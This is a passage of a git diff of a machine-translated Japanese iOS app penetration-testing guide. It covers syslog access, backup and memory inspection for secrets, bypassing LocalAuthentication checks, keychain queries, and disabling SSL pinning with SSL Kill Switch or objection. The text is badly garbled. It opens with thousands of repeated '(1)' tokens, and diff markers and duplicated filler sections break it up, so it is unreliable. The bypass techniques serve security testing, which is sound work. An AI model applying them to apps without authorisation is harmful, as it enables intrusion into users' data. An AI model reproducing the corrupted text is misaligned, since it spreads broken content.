(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
|
@ -642,7 +705,7 @@ Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (155
|
|||
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
|
||||
...
|
||||
```
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -656,14 +719,13 @@ iOSには、デバイスに保存されているデータのコピーを作成
|
|||
|
||||
iOSはインストールされたアプリとそのデータをバックアップするため、明らかな懸念は、アプリによって保存された**機密ユーザーデータ**がバックアップを通じて**意図せず漏洩する可能性**があるかどうかです。もう1つの懸念は、**データを保護したりアプリの機能を制限するために使用される機密の設定が、変更されたバックアップを復元した後にアプリの動作を変更するために改ざんされる可能性があるかどうか**です。両方の懸念は妥当であり、これらの脆弱性は現在、多数のアプリに存在することが証明されています。
|
||||
|
||||
モバイルアプリがインストールされたデバイスのバックアップには、[アプリのプライベートディレクトリ](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12)のすべてのサブディレクトリ(`Library/Caches/`を除く)およびファイルが含まれます。\
|
||||
したがって、**アプリのプライベートディレクトリまたはサブディレクトリに含まれるファイルやフォルダに機密データを平文で保存しないようにしてください**。
|
||||
モバイルアプリがインストールされたデバイスのバックアップには、[アプリのプライベートディレクトリ](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12)内のすべてのサブディレクトリ(`Library/Caches/`を除く)およびファイルが含まれます。したがって、**アプリのプライベートディレクトリまたはサブディレクトリ内のファイルやフォルダに平文で機密データを保存しないようにしてください**。
|
||||
|
||||
`Documents/`および`Library/Application Support/`のすべてのファイルは、デフォルトで常にバックアップされますが、[バックアップからファイルを除外](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28)するには、`NSURLIsExcludedFromBackupKey`キーを使用して`NSURL setResourceValue:forKey:error:`を呼び出すことができます。\
|
||||
ファイルとディレクトリをバックアップから除外するために、[NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey)および[CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey)ファイルシステムプロパティを使用できます。
|
||||
`Documents/`および`Library/Application Support/`のすべてのファイルは、デフォルトで常にバックアップされますが、[バックアップからファイルを除外](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28)することができます。`NSURLIsExcludedFromBackupKey`キーを使用して`NSURL setResourceValue:forKey:error:`を呼び出すことで、バックアップからファイルとディレクトリを除外できます。\
|
||||
ファイルシステムのプロパティである[NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey)と[CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey)を使用して、ファイルとディレクトリをバックアップから除外できます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、アプリケーションのバックアップをチェックする際には、アクセス可能な**機密情報**があるかどうか、およびバックアップの設定を変更してバックアップを復元することで、アプリケーションの**機密な動作を変更できるかどうか**を確認する必要があります。
|
||||
したがって、アプリケーションのバックアップをチェックする際には、**アクセス可能な機密情報**があるかどうかを確認し、バックアップの設定を変更してバックアップを復元することで、アプリケーションの**機密な動作を変更できるかどうか**を確認する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
**テスト方法**
|
||||
|
@ -672,7 +734,7 @@ iOSはインストールされたアプリとそのデータをバックアッ
|
|||
|
||||
デバイスのバックアップ(`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`)を見つけたら、grepなどを使用して機密情報を探したり、[iMazing](https://imazing.com)のようなツールを使用したりできます。
|
||||
|
||||
バックアップが暗号化されているかどうかを特定するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定を示しています:
|
||||
バックアップが暗号化されているかどうかを特定するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定です:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -713,7 +775,7 @@ $ strings memory > strings.txt
|
|||
# using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
お気に入りのエディタで`strings.txt`を開き、機密情報を特定するために探索してください。
|
||||
お気に入りのエディタで`strings.txt`を開き、機密情報を特定してください。
|
||||
|
||||
ただし、他の種類のデータを調査したい場合は、radare2とその検索機能を使用することをお勧めします。詳細やオプションのリストについては、radare2の検索コマンド(`/?`)のヘルプを参照してください。以下はその一部です。
|
||||
```bash
|
||||
|
@ -741,7 +803,7 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|
|||
|
||||
### 鍵管理プロセスの不備
|
||||
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
|
||||
### 安全でないおよび/または非推奨のアルゴリズムの使用
|
||||
|
||||
|
@ -759,27 +821,27 @@ ios monitor crypt
|
|||
|
||||
## ローカル認証
|
||||
|
||||
テスターは、ローカル認証は常にリモートエンドポイントで強制されるべきであること、または暗号化プリミティブに基づいていることを意識する必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。
|
||||
テスターは、ローカル認証は常にリモートエンドポイントで強制されるべきであること、または暗号プリミティブに基づいていることを意識する必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。
|
||||
|
||||
[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)は、開発者が認証ダイアログをユーザーに拡張するためのAPIセットを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するために[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)を活用することが可能です(おすすめです)。
|
||||
[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)は、開発者が認証ダイアログをユーザーに拡張するためのAPIセットを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するために[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)を活用することが可能です(および推奨されます)。
|
||||
|
||||
**指紋ID**センサーは、[SecureEnclaveセキュリティコプロセッサ](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf)によって操作され、指紋データをシステムの他の部分に公開しません。Touch IDの次に、Appleは顔認識に基づいた認証を可能にする_Face ID_を導入しました。
|
||||
|
||||
開発者は、Touch ID/Face ID認証を組み込むために2つのオプションがあります:
|
||||
|
||||
* `LocalAuthentication.framework`は、ユーザーをTouch IDを使用して認証するための高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。
|
||||
* `Security.framework`は、[keychainサービス](https://developer.apple.com/documentation/security/keychain\_services)にアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを**保護する必要がある場合**、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。`Security.framework`にはC APIがありますが、[いくつかのオープンソースのラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)が利用可能であり、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単です。
|
||||
* `LocalAuthentication.framework`は、ユーザーをTouch IDを介して認証するために使用できる高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。
|
||||
* `Security.framework`は、[キーチェーンサービス](https://developer.apple.com/documentation/security/keychain\_services)にアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを**保護する必要がある場合**、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。`Security.framework`にはC APIがありますが、[いくつかのオープンソースのラッパーが利用可能です](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)。これにより、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単になります。
|
||||
|
||||
{% hint style="danger" %}
|
||||
`LocalAuthentication.framework`または`Security.framework`を使用する場合、攻撃者によってバイパスされる可能性がある制御であることに注意してください。これらの制御は真偽値のみを返し、進行するためのデータは返しません。詳細については、[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照してください。
|
||||
`LocalAuthentication.framework`または`Security.framework`を使用することは、攻撃者によってバイパスされる可能性のある制御であることに注意してください。これらの制御は、真偽値のみを返し、進行するためのデータは返しません。詳細については、[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照してください。
|
||||
{% endhint %}
|
||||
|
||||
### ローカル認証フレームワーク
|
||||
|
||||
開発者は、**`LAContext`**クラスの**`evaluatePolicy`**関数を利用して**認証プロンプト**を表示することができます。利用可能な2つのポリシーは、許容される認証形式を定義します:
|
||||
|
||||
* `deviceOwnerAuthentication`(Swift)または`LAPolicyDeviceOwnerAuthentication`(Objective-C):利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブになっていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効になっていない場合、ポリシーの評価は失敗します。
|
||||
* `deviceOwnerAuthenticationWithBiometrics`(Swift)または`LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C):認証はTouch IDに制限され、ユーザーはTouch IDのために求められます。
|
||||
* `deviceOwnerAuthentication`(Swift)または`LAPolicyDeviceOwnerAuthentication`(Objective-C):利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブ化されていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効にされていない場合、ポリシーの評価は失敗します。
|
||||
* `deviceOwnerAuthenticationWithBiometrics`(Swift)または`LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C):認証はバイオメトリクスに制限され、ユーザーはTouch IDのために求められます。
|
||||
|
||||
**`evaluatePolicy`関数は、ユーザーが正常に認証されたかどうかを示す真偽値**を返します。つまり、簡単にバイパスすることができます(以下を参照)。
|
||||
|
||||
|
@ -859,9 +921,7 @@ iOSアプリの脆弱性を悪用するためには、以下のテクニック
|
|||
|
||||
2. **データの漏洩**: iOSアプリからデータを漏洩させるために、データベースやファイルシステムへのアクセスを悪用します。これには、SQLインジェクション、ファイルインクルージョン、データベースの脆弱性などのテクニックが含まれます。
|
||||
|
||||
3. **不正なAPI呼び出し**: iOSアプリのAPIを悪用し、アプリの動作を制御します。これには、APIエンドポイントの改ざん、不正なパラメータの送信、APIキーの漏洩などのテクニックが含まれます。
|
||||
|
||||
4. **不正なデータ入力**: iOSアプリに不正なデータを入力し、アプリの動作を乱します。これには、XSS攻撃、CSRF攻撃、データの改ざんなどのテクニックが含まれます。
|
||||
3. **不正なAPI呼び出し**: iOSアプリのAPI呼び出しを悪用し、アプリの動作を変更したり、不正な操作を行ったりします。これには、APIエンドポイントの改ざん、APIキーの不正使用、APIの脆弱性などのテクニックが含まれます。
|
||||
|
||||
以上が、iOSアプリのペネトレーションテストに使用するための情報です。これらのテクニックを使用して、iOSアプリの脆弱性を特定し、悪用することができます。
|
||||
|
||||
|
@ -922,52 +982,9 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
// authorization not passed
|
||||
}
|
||||
```
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
以下は、iOSアプリのペネトレーションテストに使用するための情報です。
|
||||
|
||||
## 概要
|
||||
|
||||
iOSアプリのペネトレーションテストは、iOSアプリケーションのセキュリティ脆弱性を特定し、悪用される可能性を排除するために行われます。このガイドでは、iOSアプリのペネトレーションテストに使用するツールとテクニックについて説明します。
|
||||
|
||||
## ツール
|
||||
|
||||
以下は、iOSアプリのペネトレーションテストに使用する一般的なツールです。
|
||||
|
||||
- **Burp Suite**: プロキシサーバーとして使用し、トラフィックのキャプチャと分析を行います。
|
||||
- **Cycript**: iOSアプリのランタイム解析とデバッグに使用します。
|
||||
- **Frida**: iOSアプリのランタイム解析とデバッグに使用します。
|
||||
- **MobSF**: モバイルアプリケーションのセキュリティフレームワークです。
|
||||
- **Needle**: iOSアプリのセキュリティテストフレームワークです。
|
||||
- **Objection**: iOSアプリのランタイム解析とデバッグに使用します。
|
||||
- **Xcode**: iOSアプリの開発とデバッグに使用します。
|
||||
|
||||
## テクニック
|
||||
|
||||
以下は、iOSアプリのペネトレーションテストに使用する一般的なテクニックです。
|
||||
|
||||
- **リバースエンジニアリング**: iOSアプリのバイナリ解析を行い、アプリの内部構造やセキュリティ脆弱性を特定します。
|
||||
- **ランタイム解析**: iOSアプリの実行中にランタイム情報を解析し、セキュリティ脆弱性を特定します。
|
||||
- **APIインターセプト**: iOSアプリが使用するAPI呼び出しをインターセプトし、データの送受信を監視します。
|
||||
- **データ暗号化の解析**: iOSアプリが使用するデータ暗号化アルゴリズムを解析し、セキュリティ脆弱性を特定します。
|
||||
- **セッションハイジャック**: iOSアプリのセッションをハイジャックし、ユーザーの認証情報やセッションデータを盗みます。
|
||||
- **データリークの検出**: iOSアプリが不適切にデータを保存または送信している場合、データリークを検出します。
|
||||
|
||||
## 注意事項
|
||||
|
||||
iOSアプリのペネトレーションテストを実施する際には、以下の注意事項に留意してください。
|
||||
|
||||
- ペネトレーションテストは、合法的な目的のために実施される必要があります。許可なく他人のアプリをテストすることは違法です。
|
||||
- ペネトレーションテストを実施する前に、アプリの所有者から正式な許可を取得してください。
|
||||
- ペネトレーションテスト中には、アプリの機能やデータに悪影響を与えないように注意してください。
|
||||
- ペネトレーションテストの結果や発見した脆弱性については、アプリの所有者と適切に共有してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [iOS Application Penetration Testing](https://www.owasp.org/index.php/IOS_Application_Penetration_Testing)
|
||||
- [iOS Application Security Testing Cheat Sheet](https://www.owasp.org/index.php/IOS_Application_Security_Testing_Cheat_Sheet)
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}
|
||||
```objectivec
|
||||
// 1. define query
|
||||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||||
|
@ -1135,8 +1152,8 @@ TLS証明書の検証における一般的な問題は、証明書が**信頼で
|
|||
|
||||
### 証明書ピニング
|
||||
|
||||
アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。テスト中には、Burpが独自の証明書を提供するため、これは問題になる可能性があります。\
|
||||
ジェイルブレイクされたデバイス内でこの保護をバイパスするために、アプリケーション[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールすることができます。
|
||||
アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。しかし、テスト中のアプリケーションでは、Burpが独自の証明書を提供するため、問題が発生する可能性があります。\
|
||||
Jailbrokenデバイス内でこの保護をバイパスするために、アプリケーション[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールすることができます。
|
||||
|
||||
また、**objection**の`ios sslpinning disable`を使用することもできます。
|
||||
|
||||
|
@ -1184,10 +1201,10 @@ TLS証明書の検証における一般的な問題は、証明書が**信頼で
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1196,10 +1213,10 @@ TLS証明書の検証における一般的な問題は、証明書が**信頼で
|
|||
|
||||
